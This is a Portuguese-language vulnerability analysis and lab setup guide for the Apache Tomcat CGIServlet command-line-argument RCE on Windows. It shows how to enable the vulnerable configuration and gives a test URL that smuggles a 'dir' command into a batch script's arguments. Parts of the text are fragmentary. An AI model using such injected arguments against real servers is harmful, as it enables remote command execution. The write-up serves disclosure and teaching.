
Análise de vulnerabilidade e PoC para o Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Análise de vulnerabilidade e PoC para o Apache Tomcat - CGIServlet enableCmdLineArguments Execução Remota de Código (RCE)
Vídeo PoC disponível em https://www.youtube.com/watch?v=RA7kzuHOWqA
O Apache Tomcat possui uma vulnerabilidade no Servlet CGI, que pode ser explorada para alcançar execução remota de código (RCE). Isso é explorável apenas quando executado no Windows em uma configuração não padrão em conjunto com arquivos batch. Common Gateway Interface (CGI) é um protocolo padrão que permite que servidores web executem programas/scripts de linha de comando através de requisições web. Este protocolo também permite passar argumentos de linha de comando para o script ou programa sendo executado via parâmetros de URL. O protocolo em si é definido na RFC 3875. Quando executado no Windows com enableCmdLineArguments habilitado, o Servlet CGI no Apache Tomcat está vulnerável a RCE devido a um bug na forma como o JRE passa argumentos de linha de comando para o Windows. O Servlet CGI está desabilitado por padrão. A opção CGI enableCmdLineArguments está desabilitada por padrão no Tomcat 9.0.x (e será desabilitada por padrão em todas as versões em resposta a esta vulnerabilidade).
Vídeo PoC disponível em https://www.youtube.com/watch?v=RA7kzuHOWqA
1.Você deve ter um servidor Apache com qualquer uma das versões vulneráveis do Tomcat instalada em um PC com Windows. Além disso, você deve ter o Java JRE instalado na mesma máquina. 2.No meu caso, instalei o Apache Tomcat 9.0.0.M1 no servidor XAMPP. 3.Após instalar o Tomcat, faça as seguintes alterações na configuração:
a.Modifique o conf/context.xml e defina <Context privileged="true">

b.Faça as seguintes alterações no arquivo /conf/web.xml perto das linhas 366 e 420, respectivamente.

enableCmdLineArguments precisa ser True, pois estamos usando Tomcat 9.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
4.Crie uma pasta para os arquivos CGI em webapps\ROOT\WEB-INF\cgi e adicione um arquivo ism.bat com o seguinte conteúdo:

@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir para verificar se o servidor está funcionando.
cve-2019-0232.py adicionando o IP do servidor e a porta nele.
Link para o Vídeo PoC: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] para evitar que a entrada seja executada como comandos em sistemas Windows.